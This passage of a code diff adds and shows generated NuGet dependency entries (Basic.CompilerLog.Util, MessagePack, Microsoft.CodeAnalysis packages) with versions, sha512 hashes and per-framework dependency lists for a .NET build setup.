["MSBuild.StructuredLogger", "MessagePack", "Microsoft.CodeAnalysis", "Microsoft.CodeAnalysis.CSharp", "Microsoft.CodeAnalysis.VisualBasic", "Microsoft.Extensions.ObjectPool", "System.Buffers"], "netstandard": [], "netstandard1.0": [], "netstandard1.1": [], "netstandard1.2": [], "netstandard1.3": [], "netstandard1.4": [], "netstandard1.5": [], "netstandard1.6": [], "netstandard2.0": ["MSBuild.StructuredLogger", "MessagePack", "Microsoft.CodeAnalysis", "Microsoft.CodeAnalysis.CSharp", "Microsoft.CodeAnalysis.VisualBasic", "Microsoft.Extensions.ObjectPool", "System.Buffers"], "netstandard2.1": ["MSBuild.StructuredLogger", "MessagePack", "Microsoft.CodeAnalysis", "Microsoft.CodeAnalysis.CSharp", "Microsoft.CodeAnalysis.VisualBasic", "Microsoft.Extensions.ObjectPool", "System.Buffers"]}, "targeting_pack_overrides": [], "framework_list": []},
+            {"name": "Basic.CompilerLog.Util", "id": "Basic.CompilerLog.Util", "version": "0.9.8", "sha512": "sha512-bBlxHTdPRrmaw4AqoNwtx3jyAP63RVp2kwCn+UegxrimDYVCmhdgCkFjzlAc2Bo1LbO7HrsFhfh6lFijugOX3A==", "sources": ["https://api.nuget.org/v3/index.json"], "dependencies": {"net11": [], "net20": [], "net30": [], "net35": [], "net40": [], "net403": [], "net45": [], "net451": [], "net452": [], "net46": [], "net461": ["MSBuild.StructuredLogger", "MessagePack", "Microsoft.CodeAnalysis", "Microsoft.CodeAnalysis.CSharp", "Microsoft.CodeAnalysis.VisualBasic", "Microsoft.Extensions.ObjectPool", "System.Buffers"], "net462": ["MSBuild.StructuredLogger", "MessagePack", "Microsoft.CodeAnalysis", "Microsoft.CodeAnalysis.CSharp", "Microsoft.CodeAnalysis.VisualBasic", "Microsoft.Extensions.ObjectPool", "System.Buffers"], "net47": ["MSBuild.StructuredLogger", "MessagePack", "Microsoft.CodeAnalysis", "Microsoft.CodeAnalysis.CSharp", "Microsoft.CodeAnalysis.VisualBasic", "Microsoft.Extensions.ObjectPool", "System.Buffers"], "net471": ["MSBuild.StructuredLogger", "MessagePack", "Microsoft.CodeAnalysis", "Microsoft.CodeAnalysis.CSharp", "Microsoft.CodeAnalysis.VisualBasic", "Microsoft.Extensions.ObjectPool", "System.Buffers"], "net472": ["MSBuild.StructuredLogger", "MessagePack", "Microsoft.CodeAnalysis", "Microsoft.CodeAnalysis.CSharp", "Microsoft.CodeAnalysis.VisualBasic", "Microsoft.Extensions.ObjectPool", "System.Buffers"], "net48": ["MSBuild.StructuredLogger", "MessagePack", "Microsoft.CodeAnalysis", "Microsoft.CodeAnalysis.CSharp", "Microsoft.CodeAnalysis.VisualBasic", "Microsoft.Extensions.ObjectPool", "System.Buffers"], "net5.0": ["MSBuild.StructuredLogger", "MessagePack", "Microsoft.CodeAnalysis", "Microsoft.CodeAnalysis.CSharp", "Microsoft.CodeAnalysis.VisualBasic", "Microsoft.Extensions.ObjectPool", "System.Buffers"], "net6.0": ["MSBuild.StructuredLogger", "MessagePack", "Microsoft.CodeAnalysis", "Microsoft.CodeAnalysis.CSharp", "Microsoft.CodeAnalysis.VisualBasic", "Microsoft.Extensions.ObjectPool", "System.Buffers"], "net7.0": ["MSBuild.StructuredLogger", "MessagePack", "Microsoft.CodeAnalysis", "Microsoft.CodeAnalysis.CSharp", "Microsoft.CodeAnalysis.VisualBasic", "Microsoft.Extensions.ObjectPool", "System.Buffers"], "net8.0": ["MSBuild.StructuredLogger", "MessagePack", "Microsoft.CodeAnalysis", "Microsoft.CodeAnalysis.CSharp", "Microsoft.CodeAnalysis.VisualBasic", "Microsoft.Extensions.ObjectPool", "System.Buffers"], "net9.0": ["MSBuild.StructuredLogger", "MessagePack", "Microsoft.CodeAnalysis", "Microsoft.CodeAnalysis.CSharp", "Microsoft.CodeAnalysis.VisualBasic", "Microsoft.Extensions.ObjectPool", "System.Buffers"], "netcoreapp1.0": [], "netcoreapp1.1": [], "netcoreapp2.0": ["MSBuild.StructuredLogger", "MessagePack", "Microsoft.CodeAnalysis", "Microsoft.CodeAnalysis.CSharp", "Microsoft.CodeAnalysis.VisualBasic", "Microsoft.Extensions.ObjectPool", "System.Buffers"], "netcoreapp2.1": ["MSBuild.StructuredLogger", "MessagePack", "Microsoft.CodeAnalysis", "Microsoft.CodeAnalysis.CSharp", "Microsoft.CodeAnalysis.VisualBasic", "Microsoft.Extensions.ObjectPool", "System.Buffers"], "netcoreapp2.2": ["MSBuild.StructuredLogger", "MessagePack", "Microsoft.CodeAnalysis", "Microsoft.CodeAnalysis.CSharp", "Microsoft.CodeAnalysis.VisualBasic", "Microsoft.Extensions.ObjectPool", "System.Buffers"], "netcoreapp3.0": ["MSBuild.StructuredLogger", "MessagePack", "Microsoft.CodeAnalysis", "Microsoft.CodeAnalysis.CSharp", "Microsoft.CodeAnalysis.VisualBasic", "Microsoft.Extensions.ObjectPool", "System.Buffers"], "netcoreapp3.1": ["MSBuild.StructuredLogger", "MessagePack", "Microsoft.CodeAnalysis", "Microsoft.CodeAnalysis.CSharp", "Microsoft.CodeAnalysis.VisualBasic", "Microsoft.Extensions.ObjectPool", "System.Buffers"], "netstandard": [], "netstandard1.0": [], "netstandard1.1": [], "netstandard1.2": [], "netstandard1.3": [], "netstandard1.4": [], "netstandard1.5": [], "netstandard1.6": [], "netstandard2.0": ["MSBuild.StructuredLogger", "MessagePack", "Microsoft.CodeAnalysis", "Microsoft.CodeAnalysis.CSharp", "Microsoft.CodeAnalysis.VisualBasic", "Microsoft.Extensions.ObjectPool", "System.Buffers"], "netstandard2.1": ["MSBuild.StructuredLogger", "MessagePack", "Microsoft.CodeAnalysis", "Microsoft.CodeAnalysis.CSharp", "Microsoft.CodeAnalysis.VisualBasic", "Microsoft.Extensions.ObjectPool", "System.Buffers"]}, "targeting_pack_overrides": [], "framework_list": []},
             {"name": "Humanizer.Core", "id": "Humanizer.Core", "version": "2.14.1", "sha512": "sha512-yzqGU/HKNLZ9Uvr6kvSc3wYV/S5O/IvklIUW5WF7MuivGLY8wS5IZnLPkt7D1KW8Et2Enl0I3Lzg2vGWM24Xsw==", "sources": ["https://api.nuget.org/v3/index.json"], "dependencies": {"net11": [], "net20": [], "net30": [], "net35": [], "net40": [], "net403": [], "net45": [], "net451": [], "net452": [], "net46": [], "net461": [], "net462": [], "net47": [], "net471": [], "net472": [], "net48": [], "net5.0": [], "net6.0": [], "net7.0": [], "net8.0": [], "net9.0": [], "netcoreapp1.0": [], "netcoreapp1.1": [], "netcoreapp2.0": [], "netcoreapp2.1": [], "netcoreapp2.2": [], "netcoreapp3.0": [], "netcoreapp3.1": [], "netstandard": [], "netstandard1.0": [], "netstandard1.1": [], "netstandard1.2": [], "netstandard1.3": [], "netstandard1.4": [], "netstandard1.5": [], "netstandard1.6": [], "netstandard2.0": [], "netstandard2.1": []}, "targeting_pack_overrides": [], "framework_list": []},
             {"name": "MessagePack", "id": "MessagePack", "version": "3.0.300", "sha512": "sha512-5Mdl6CrQcxVVLawvqebPLALFdIMgWOnEGxxFvXWjJ/8KGyyhbfKMusj34Wv1AwE+uE9VAb+McVxtR9HDZIUwuA==", "sources": ["https://api.nuget.org/v3/index.json"], "dependencies": {"net11": [], "net20": [], "net30": [], "net35": [], "net40": [], "net403": [], "net45": [], "net451": [], "net452": [], "net46": [], "net461": ["MessagePackAnalyzer", "MessagePack.Annotations", "Microsoft.Bcl.AsyncInterfaces", "Microsoft.NET.StringTools", "System.Collections.Immutable", "System.Threading.Tasks.Extensions", "System.Memory", "System.Runtime.CompilerServices.Unsafe"], "net462": ["MessagePackAnalyzer", "MessagePack.Annotations", "Microsoft.Bcl.AsyncInterfaces", "Microsoft.NET.StringTools", "System.Collections.Immutable", "System.Threading.Tasks.Extensions", "System.Memory", "System.Runtime.CompilerServices.Unsafe"], "net47": ["MessagePackAnalyzer", "MessagePack.Annotations", "Microsoft.Bcl.AsyncInterfaces", "Microsoft.NET.StringTools", "System.Collections.Immutable", "System.Threading.Tasks.Extensions", "System.Memory", "System.Runtime.CompilerServices.Unsafe"], "net471": ["MessagePackAnalyzer", "MessagePack.Annotations", "Microsoft.Bcl.AsyncInterfaces", "Microsoft.NET.StringTools", "System.Collections.Immutable", "System.Threading.Tasks.Extensions", "System.Memory", "System.Runtime.CompilerServices.Unsafe"], "net472": ["MessagePackAnalyzer", "MessagePack.Annotations", "Microsoft.Bcl.AsyncInterfaces", "Microsoft.NET.StringTools", "System.Collections.Immutable", "System.Memory", "System.Runtime.CompilerServices.Unsafe", "System.Threading.Tasks.Extensions"], "net48": ["MessagePackAnalyzer", "MessagePack.Annotations", "Microsoft.Bcl.AsyncInterfaces", "Microsoft.NET.StringTools", "System.Collections.Immutable", "System.Memory", "System.Runtime.CompilerServices.Unsafe", "System.Threading.Tasks.Extensions"], "net5.0": ["MessagePackAnalyzer", "MessagePack.Annotations", "Microsoft.NET.StringTools", "System.Collections.Immutable"], "net6.0": ["MessagePackAnalyzer", "MessagePack.Annotations", "Microsoft.NET.StringTools", "System.Collections.Immutable"], "net7.0": ["MessagePackAnalyzer", "MessagePack.Annotations", "Microsoft.NET.StringTools", "System.Collections.Immutable"], "net8.0": ["MessagePackAnalyzer", "MessagePack.Annotations", "Microsoft.NET.StringTools"], "net9.0": ["MessagePackAnalyzer", "MessagePack.Annotations", "Microsoft.NET.StringTools"], "netcoreapp1.0": [], "netcoreapp1.1": [], "netcoreapp2.0": ["MessagePackAnalyzer", "MessagePack.Annotations", "Microsoft.Bcl.AsyncInterfaces", "Microsoft.NET.StringTools", "System.Collections.Immutable", "System.Threading.Tasks.Extensions", "System.Memory", "System.Runtime.CompilerServices.Unsafe"], "netcoreapp2.1": ["MessagePackAnalyzer", "MessagePack.Annotations", "Microsoft.Bcl.AsyncInterfaces", "Microsoft.NET.StringTools", "System.Collections.Immutable", "System.Threading.Tasks.Extensions", "System.Memory", "System.Runtime.CompilerServices.Unsafe"], "netcoreapp2.2": ["MessagePackAnalyzer", "MessagePack.Annotations", "Microsoft.Bcl.AsyncInterfaces", "Microsoft.NET.StringTools", "System.Collections.Immutable", "System.Threading.Tasks.Extensions", "System.Memory", "System.Runtime.CompilerServices.Unsafe"], "netcoreapp3.0": ["MessagePackAnalyzer", "MessagePack.Annotations", "Microsoft.NET.StringTools", "System.Collections.Immutable"], "netcoreapp3.1": ["MessagePackAnalyzer", "MessagePack.Annotations", "Microsoft.NET.StringTools", "System.Collections.Immutable"], "netstandard": [], "netstandard1.0": [], "netstandard1.1": [], "netstandard1.2": [], "netstandard1.3": [], "netstandard1.4": [], "netstandard1.5": [], "netstandard1.6": [], "netstandard2.0": ["MessagePackAnalyzer", "MessagePack.Annotations", "Microsoft.Bcl.AsyncInterfaces", "Microsoft.NET.StringTools", "System.Collections.Immutable", "System.Threading.Tasks.Extensions", "System.Memory", "System.Runtime.CompilerServices.Unsafe"], "netstandard2.1": ["MessagePackAnalyzer", "MessagePack.Annotations", "Microsoft.NET.StringTools", "System.Collections.Immutable"]}, "targeting_pack_overrides": [], "framework_list": []},
             {"name": "MessagePack.Annotations", "id": "MessagePack.Annotations", "version": "3.0.300", "sha512": "sha512-Jh9+7EsDtDSEciX8RfXHWxtRlC94wvCmmv+sFzGdzPF4fAp7OAGFktzViPBHMkCxrSh3hmM7jGUB7yMyUmzRCA==", "sources": ["https://api.nuget.org/v3/index.json"], "dependencies": {"net11": [], "net20": [], "net30": [], "net35": [], "net40": [], "net403": [], "net45": [], "net451": [], "net452": [], "net46": [], "net461": [], "net462": [], "net47": [], "net471": [], "net472": [], "net48": [], "net5.0": [], "net6.0": [], "net7.0": [], "net8.0": [], "net9.0": [], "netcoreapp1.0": [], "netcoreapp1.1": [], "netcoreapp2.0": [], "netcoreapp2.1": [], "netcoreapp2.2": [], "netcoreapp3.0": [], "netcoreapp3.1": [], "netstandard": [], "netstandard1.0": [], "netstandard1.1": [], "netstandard1.2": [], "netstandard1.3": [], "netstandard1.4": [], "netstandard1.5": [], "netstandard1.6": [], "netstandard2.0": [], "netstandard2.1": []}, "targeting_pack_overrides": [], "framework_list": []},
@@ -25,7 +25,7 @@ def main():
             {"name": "Microsoft.CodeAnalysis.VisualBasic.Workspaces", "id": "Microsoft.CodeAnalysis.VisualBasic.Workspaces", "version": "4.12.0", "sha512": "sha512-j/XDFfNu38FSTJOIhkB8pvLWNVNqNhaZTRtLuH/WsHUsnYfIztaDW9seR7OsUBF5LuZIKQ9uaCrj7p+0/BgPkw==", "sources": ["https://api.nuget.org/v3/index.json"], "dependencies": {"net11": [], "net20": [], "net30": [], "net35": [], "net40": [], "net403": [], "net45": [], "net451": [], "net452": [], "net46": [], "net461": ["Microsoft.CodeAnalysis.Common", "Microsoft.CodeAnalysis.VisualBasic", "Microsoft.CodeAnalysis.Workspaces.Common", "Humanizer.Core", "Microsoft.Bcl.AsyncInterfaces", "Microsoft.CodeAnalysis.Analyzers", "System.Buffers", "System.Collections.Immutable", "System.Composition", "System.IO.Pipelines", "System.Memory", "System.Numerics.Vectors", "System.Reflection.Metadata", "System.Runtime.CompilerServices.Unsafe", "System.Text.Encoding.CodePages", "System.Threading.Channels", "System.Threading.Tasks.Extensions"], "net462": ["Microsoft.CodeAnalysis.Common", "Microsoft.CodeAnalysis.VisualBasic", "Microsoft.CodeAnalysis.Workspaces.Common", "Humanizer.Core", "Microsoft.Bcl.AsyncInterfaces", "Microsoft.CodeAnalysis.Analyzers", "System.Buffers", "System.Collections.Immutable", "System.Composition", "System.IO.Pipelines", "System.Memory", "System.Numerics.Vectors", "System.Reflection.Metadata", "System.Runtime.CompilerServices.Unsafe", "System.Text.Encoding.CodePages", "System.Threading.Channels", "System.Threading.Tasks.Extensions"], "net47": ["Microsoft.CodeAnalysis.Common", "Microsoft.CodeAnalysis.VisualBasic", "Microsoft.CodeAnalysis.Workspaces.Common", "Humanizer.Core", "Microsoft.Bcl.AsyncInterfaces", "Microsoft.CodeAnalysis.Analyzers", "System.Buffers", "System.Collections.Immutable", "System.Composition", "System.IO.Pipelines", "System.Memory", "System.Numerics.Vectors", "System.Reflection.Metadata", "System.Runtime.CompilerServices.Unsafe", "System.Text.Encoding.CodePages", "System.Threading.Channels", "System.Threading.Tasks.Extensions"], "net471": ["Microsoft.CodeAnalysis.Common", "Microsoft.CodeAnalysis.VisualBasic", "Microsoft.CodeAnalysis.Workspaces.Common", "Humanizer.Core", "Microsoft.Bcl.AsyncInterfaces", "Microsoft.CodeAnalysis.Analyzers", "System.Buffers", "System.Collections.Immutable", "System.Composition", "System.IO.Pipelines", "System.Memory", "System.Numerics.Vectors", "System.Reflection.Metadata", "System.Runtime.CompilerServices.Unsafe", "System.Text.Encoding.CodePages", "System.Threading.Channels", "System.Threading.Tasks.Extensions"], "net472": ["Microsoft.CodeAnalysis.Common", "Microsoft.CodeAnalysis.VisualBasic", "Microsoft.CodeAnalysis.Workspaces.Common", "Humanizer.Core", "Microsoft.Bcl.AsyncInterfaces", "Microsoft.CodeAnalysis.Analyzers", "System.Buffers", "System.Collections.Immutable", "System.Composition", "System.IO.Pipelines", "System.Memory", "System.Numerics.Vectors", "System.Reflection.Metadata", "System.Runtime.CompilerServices.Unsafe", "System.Text.Encoding.CodePages", "System.Threading.Channels", "System.Threading.Tasks.Extensions"], "net48": ["Microsoft.CodeAnalysis.Common", "Microsoft.CodeAnalysis.VisualBasic", "Microsoft.CodeAnalysis.Workspaces.Common", "Humanizer.Core", "Microsoft.Bcl.AsyncInterfaces", "Microsoft.CodeAnalysis.Analyzers", "System.Buffers", "System.Collections.Immutable", "System.Composition", "System.IO.Pipelines", "System.Memory", "System.Numerics.Vectors", "System.Reflection.Metadata", "System.Runtime.CompilerServices.Unsafe", "System.Text.Encoding.CodePages", "System.Threading.Channels", "System.Threading.Tasks.Extensions"], "net5.0": ["Microsoft.CodeAnalysis.Common", "Microsoft.CodeAnalysis.VisualBasic", "Microsoft.CodeAnalysis.Workspaces.Common", "Humanizer.Core", "Microsoft.Bcl.AsyncInterfaces", "Microsoft.CodeAnalysis.Analyzers", "System.Buffers", "System.Collections.Immutable", "System.Composition", "System.IO.Pipelines", "System.Memory", "System.Numerics.Vectors", "System.Reflection.Metadata", "System.Runtime.CompilerServices.Unsafe", "System.Text.Encoding.CodePages", "System.Threading.Channels", "System.Threading.Tasks.Extensions"], "net6.0": ["Microsoft.CodeAnalysis.Common", "Microsoft.CodeAnalysis.VisualBasic", "Microsoft.CodeAnalysis.Workspaces.Common", "Humanizer.Core", "Microsoft.Bcl.AsyncInterfaces", "Microsoft.CodeAnalysis.Analyzers", "System.Buffers", "System.Collections.Immutable", "System.Composition", "System.IO.Pipelines", "System.Memory", "System.Numerics.Vectors", "System.Reflection.Metadata", "System.Runtime.CompilerServices.Unsafe", "System.Text.Encoding.CodePages", "System.Threading.Channels", "System.Threading.Tasks.Extensions"], "net7.0": ["Microsoft.CodeAnalysis.Common", "Microsoft.CodeAnalysis.VisualBasic", "Microsoft.CodeAnalysis.Workspaces.Common", "Humanizer.Core", "Microsoft.CodeAnalysis.Analyzers", "System.Collections.Immutable", "System.Composition", "System.IO.Pipelines", "System.Reflection.Metadata", "System.Threading.Channels"], "net8.0": ["Microsoft.CodeAnalysis.Common", "Microsoft.CodeAnalysis.VisualBasic", "Microsoft.CodeAnalysis.Workspaces.Common", "Humanizer.Core", "Microsoft.CodeAnalysis.Analyzers", "System.Collections.Immutable", "System.Composition", "System.IO.Pipelines", "System.Reflection.Metadata", "System.Threading.Channels"], "net9.0": ["Microsoft.CodeAnalysis.Common", "Microsoft.CodeAnalysis.VisualBasic", "Microsoft.CodeAnalysis.Workspaces.Common", "Humanizer.Core", "Microsoft.CodeAnalysis.Analyzers", "System.Collections.Immutable", "System.Composition", "System.IO.Pipelines", "System.Reflection.Metadata", "System.Threading.Channels"], "netcoreapp1.0": [], "netcoreapp1.1": [], "netcoreapp2.0": ["Microsoft.CodeAnalysis.Common", "Microsoft.CodeAnalysis.VisualBasic", "Microsoft.CodeAnalysis.Workspaces.Common", "Humanizer.Core", "Microsoft.Bcl.AsyncInterfaces", "Microsoft.CodeAnalysis.Analyzers", "System.Buffers", "System.Collections.Immutable", "System.Composition", "System.IO.Pipelines", "System.Memory", "System.Numerics.Vectors", "System.Reflection.Metadata", "System.Runtime.CompilerServices.Unsafe", "System.Text.Encoding.CodePages", "System.Threading.Channels", "System.Threading.Tasks.Extensions"], "netcoreapp2.1": ["Microsoft.CodeAnalysis.Common", "Microsoft.CodeAnalysis.VisualBasic", "Microsoft.CodeAnalysis.Workspaces.Common", "Humanizer.Core", "Microsoft.Bcl.AsyncInterfaces", "Microsoft.CodeAnalysis.Analyzers", "System.Buffers", "System.Collections.Immutable", "System.Composition", "System.IO.Pipelines", "System.Memory", "System.Numerics.Vectors", "System.Reflection.Metadata", "System.Runtime.CompilerServices.Unsafe", "System.Text.Encoding.CodePages", "System.Threading.Channels", "System.Threading.Tasks.Extensions"], "netcoreapp2.2": ["Microsoft.CodeAnalysis.Common", "Microsoft.CodeAnalysis.VisualBasic", "Microsoft.CodeAnalysis.Workspaces.Common", "Humanizer.Core", "Microsoft.Bcl.AsyncInterfaces", "Microsoft.CodeAnalysis.Analyzers", "System.Buffers", "System.Collections.Immutable", "System.Composition", "System.IO.Pipelines", "System.Memory", "System.Numerics.Vectors", "System.Reflection.Metadata", "System.Runtime.CompilerServices.Unsafe", "System.Text.Encoding.CodePages", "System.Threading.Channels", "System.Threading.Tasks.Extensions"], "netcoreapp3.0": ["Microsoft.CodeAnalysis.Common", "Microsoft.CodeAnalysis.VisualBasic", "Microsoft.CodeAnalysis.Workspaces.Common", "Humanizer.Core", "Microsoft.Bcl.AsyncInterfaces", "Microsoft.CodeAnalysis.Analyzers", "System.Buffers", "System.Collections.Immutable", "System.Composition", "System.IO.Pipelines", "System.Memory", "System.Numerics.Vectors", "System.Reflection.Metadata", "System.Runtime.CompilerServices.Unsafe", "System.Text.Encoding.CodePages", "System.Threading.Channels", "System.Threading.Tasks.Extensions"], "netcoreapp3.1": ["Microsoft.CodeAnalysis.Common", "Microsoft.CodeAnalysis.VisualBasic", "Microsoft.CodeAnalysis.Workspaces.Common", "Humanizer.Core", "Microsoft.Bcl.AsyncInterfaces", "Microsoft.CodeAnalysis.Analyzers", "System.Buffers", "System.Collections.Immutable", "System.Composition", "System.IO.Pipelines", "System.Memory", "System.Numerics.Vectors", "System.Reflection.Metadata", "System.Runtime.CompilerServices.Unsafe", "System.Text.Encoding.CodePages", "System.Threading.Channels", "System.Threading.Tasks.Extensions"], "netstandard": [], "netstandard1.0": [], "netstandard1.1": [], "netstandard1.2": [], "netstandard1.3": [], "netstandard1.4": [], "netstandard1.5": [], "netstandard1.6": [], "netstandard2.0": ["Microsoft.CodeAnalysis.Common", "Microsoft.CodeAnalysis.VisualBasic", "Microsoft.CodeAnalysis.Workspaces.Common", "Humanizer.Core", "Microsoft.Bcl.AsyncInterfaces", "Microsoft.CodeAnalysis.Analyzers", "System.Buffers", "System.Collections.Immutable", "System.Composition", "System.IO.Pipelines", "System.Memory", "System.Numerics.Vectors", "System.Reflection.Metadata", "System.Runtime.CompilerServices.Unsafe", "System.Text.Encoding.CodePages", "System.Threading.Channels", "System.Threading.Tasks.Extensions"], "netstandard2.1": ["Microsoft.CodeAnalysis.Common", "Microsoft.CodeAnalysis.VisualBasic", "Microsoft.CodeAnalysis.Workspaces.Common", "Humanizer.Core", "Microsoft.Bcl.AsyncInterfaces", "Microsoft.CodeAnalysis.Analyzers", "System.Buffers", "System.Collections.Immutable", "System.Composition", "System.IO.Pipelines", "System.Memory", "System.Numerics.Vectors", "System.Reflection.Metadata", "System.Runtime.CompilerServices.Unsafe", "System.Text.Encoding.CodePages", "System.Threading.Channels", "System.Threading.Tasks.Extensions"]}, "targeting_pack_overrides": [], "framework_list": []},
             {"name": "Microsoft.CodeAnalysis.Workspaces.Common", "id": "Microsoft.CodeAnalysis.Workspaces.Common", "version": "4.12.0", "sha512": "sha512-bzZOMF3kAtQhc5kcUILy0GyhgePksk/j9DJtlvFex1UYNgXJUoEkA6IUGootH1Z6GH4Z5BuLNXiFzsz9oJwbcQ==", "sources": ["https://api.nuget.org/v3/index.json"], "dependencies": {"net11": [], "net20": [], "net30": [], "net35": [], "net40": [], "net403": [], "net45": [], "net451": [], "net452": [], "net46": [], "net461": ["Microsoft.CodeAnalysis.Common", "Humanizer.Core", "Microsoft.Bcl.AsyncInterfaces", "System.Composition", "System.IO.Pipelines", "System.Threading.Channels", "Microsoft.CodeAnalysis.Analyzers", "System.Buffers", "System.Collections.Immutable", "System.Memory", "System.Numerics.Vectors", "System.Reflection.Metadata", "System.Runtime.CompilerServices.Unsafe", "System.Text.Encoding.CodePages", "System.Threading.Tasks.Extensions"], "net462": ["Microsoft.CodeAnalysis.Common", "Humanizer.Core", "Microsoft.Bcl.AsyncInterfaces", "System.Composition", "System.IO.Pipelines", "System.Threading.Channels", "Microsoft.CodeAnalysis.Analyzers", "System.Buffers", "System.Collections.Immutable", "System.Memory", "System.Numerics.Vectors", "System.Reflection.Metadata", "System.Runtime.CompilerServices.Unsafe", "System.Text.Encoding.CodePages", "System.Threading.Tasks.Extensions"], "net47": ["Microsoft.CodeAnalysis.Common", "Humanizer.Core", "Microsoft.Bcl.AsyncInterfaces", "System.Composition", "System.IO.Pipelines", "System.Threading.Channels", "Microsoft.CodeAnalysis.Analyzers", "System.Buffers", "System.Collections.Immutable", "System.Memory", "System.Numerics.Vectors", "System.Reflection.Metadata", "System.Runtime.CompilerServices.Unsafe", "System.Text.Encoding.CodePages", "System.Threading.Tasks.Extensions"], "net471": ["Microsoft.CodeAnalysis.Common", "Humanizer.Core", "Microsoft.Bcl.AsyncInterfaces", "System.Composition", "System.IO.Pipelines", "System.Threading.Channels", "Microsoft.CodeAnalysis.Analyzers", "System.Buffers", "System.Collections.Immutable", "System.Memory", "System.Numerics.Vectors", "System.Reflection.Metadata", "System.Runtime.CompilerServices.Unsafe", "System.Text.Encoding.CodePages", "System.Threading.Tasks.Extensions"], "net472": ["Microsoft.CodeAnalysis.Common", "Humanizer.Core", "Microsoft.Bcl.AsyncInterfaces", "System.Composition", "System.IO.Pipelines", "System.Threading.Channels", "Microsoft.CodeAnalysis.Analyzers", "System.Buffers", "System.Collections.Immutable", "System.Memory", "System.Numerics.Vectors", "System.Reflection.Metadata", "System.Runtime.CompilerServices.Unsafe", "System.Text.Encoding.CodePages", "System.Threading.Tasks.Extensions"], "net48": ["Microsoft.CodeAnalysis.Common", "Humanizer.Core", "Microsoft.Bcl.AsyncInterfaces", "System.Composition", "System.IO.Pipelines", "System.Threading.Channels", "Microsoft.CodeAnalysis.Analyzers", "System.Buffers", "System.Collections.Immutable", "System.Memory", "System.Numerics.Vectors", "System.Reflection.Metadata", "System.Runtime.CompilerServices.Unsafe", "System.Text.Encoding.CodePages", "System.Threading.Tasks.Extensions"], "net5.0": ["Microsoft.CodeAnalysis.Common", "Humanizer.Core", "Microsoft.Bcl.AsyncInterfaces", "System.Composition", "System.IO.Pipelines", "System.Threading.Channels", "Microsoft.CodeAnalysis.Analyzers", "System.Buffers", "System.Collections.Immutable", "System.Memory", "System.Numerics.Vectors", "System.Reflection.Metadata", "System.Runtime.CompilerServices.Unsafe", "System.Text.Encoding.CodePages", "System.Threading.Tasks.Extensions"], "net6.0": ["Microsoft.CodeAnalysis.Common", "Humanizer.Core", "Microsoft.Bcl.AsyncInterfaces", "System.Composition", "System.IO.Pipelines", "System.Threading.Channels", "Microsoft.CodeAnalysis.Analyzers", "System.Buffers", "System.Collections.Immutable", "System.Memory", "System.Numerics.Vectors", "System.Reflection.Metadata", "System.Runtime.CompilerServices.Unsafe", "System.Text.Encoding.CodePages", "System.Threading.Tasks.Extensions"], "net7.0": ["Microsoft.CodeAnalysis.Common", "Humanizer.Core", "System.Composition", "System.IO.Pipelines", "System.Threading.Channels", "Microsoft.CodeAnalysis.Analyzers", "System.Collections.Immutable", "System.Reflection.Metadata"], "net8.0": ["Microsoft.CodeAnalysis.Common", "Humanizer.Core", "System.Composition", "System.IO.Pipelines", "System.Threading.Channels", "Microsoft.CodeAnalysis.Analyzers", "System.Collections.Immutable", "System.Reflection.Metadata"], "net9.0": ["Microsoft.CodeAnalysis.Common", "Humanizer.Core", "System.Composition", "System.IO.Pipelines", "System.Threading.Channels", "Microsoft.CodeAnalysis.Analyzers", "System.Collections.Immutable", "System.Reflection.Metadata"], "netcoreapp1.0": [], "netcoreapp1.1": [], "netcoreapp2.0": ["Microsoft.CodeAnalysis.Common", "Humanizer.Core", "Microsoft.Bcl.AsyncInterfaces", "System.Composition", "System.IO.Pipelines", "System.Threading.Channels", "Microsoft.CodeAnalysis.Analyzers", "System.Buffers", "System.Collections.Immutable", "System.Memory", "System.Numerics.Vectors", "System.Reflection.Metadata", "System.Runtime.CompilerServices.Unsafe", "System.Text.Encoding.CodePages", "System.Threading.Tasks.Extensions"], "netcoreapp2.1": ["Microsoft.CodeAnalysis.Common", "Humanizer.Core", "Microsoft.Bcl.AsyncInterfaces", "System.Composition", "System.IO.Pipelines", "System.Threading.Channels", "Microsoft.CodeAnalysis.Analyzers", "System.Buffers", "System.Collections.Immutable", "System.Memory", "System.Numerics.Vectors", "System.Reflection.Metadata", "System.Runtime.CompilerServices.Unsafe", "System.Text.Encoding.CodePages", "System.Threading.Tasks.Extensions"], "netcoreapp2.2": ["Microsoft.CodeAnalysis.Common", "Humanizer.Core", "Microsoft.Bcl.AsyncInterfaces", "System.Composition", "System.IO.Pipelines", "System.Threading.Channels", "Microsoft.CodeAnalysis.Analyzers", "System.Buffers", "System.Collections.Immutable", "System.Memory", "System.Numerics.Vectors", "System.Reflection.Metadata", "System.Runtime.CompilerServices.Unsafe", "System.Text.Encoding.CodePages", "System.Threading.Tasks.Extensions"], "netcoreapp3.0": ["Microsoft.CodeAnalysis.Common", "Humanizer.Core", "Microsoft.Bcl.AsyncInterfaces", "System.Composition", "System.IO.Pipelines", "System.Threading.Channels", "Microsoft.CodeAnalysis.Analyzers", "System.Buffers", "System.Collections.Immutable", "System.Memory", "System.Numerics.Vectors", "System.Reflection.Metadata", "System.Runtime.CompilerServices.Unsafe", "System.Text.Encoding.CodePages", "System.Threading.Tasks.Extensions"], "netcoreapp3.1": ["Microsoft.CodeAnalysis.Common", "Humanizer.Core", "Microsoft.Bcl.AsyncInterfaces", "System.Composition", "System.IO.Pipelines", "System.Threading.Channels", "Microsoft.CodeAnalysis.Analyzers", "System.Buffers", "System.Collections.Immutable", "System.Memory", "System.Numerics.Vectors", "System.Reflection.Metadata", "System.Runtime.CompilerServices.Unsafe", "System.Text.Encoding.CodePages", "System.Threading.Tasks.Extensions"], "netstandard": [], "netstandard1.0": [], "netstandard1.1": [], "netstandard1.2": [], "netstandard1.3": [], "netstandard1.4": [], "netstandard1.5": [], "netstandard1.6": [], "netstandard2.0": ["Microsoft.CodeAnalysis.Common", "Humanizer.Core", "Microsoft.Bcl.AsyncInterfaces", "System.Composition", "System.IO.Pipelines", "System.Threading.Channels", "Microsoft.CodeAnalysis.Analyzers", "System.Buffers", "System.Collections.Immutable", "System.Memory", "System.Numerics.Vectors", "System.Reflection.Metadata", "System.Runtime.CompilerServices.Unsafe", "System.Text.Encoding.CodePages", "System.Threading.Tasks.Extensions"], "netstandard2.1": ["Microsoft.CodeAnalysis.Common", "Humanizer.Core", "Microsoft.Bcl.AsyncInterfaces", "System.Composition", "System.IO.Pipelines", "System.Threading.Channels", "Microsoft.CodeAnalysis.Analyzers", "System.Buffers", "System.Collections.Immutable", "System.Memory", "System.Numerics.Vectors", "System.Reflection.Metadata", "System.Runtime.CompilerServices.Unsafe", "System.Text.Encoding.CodePages", 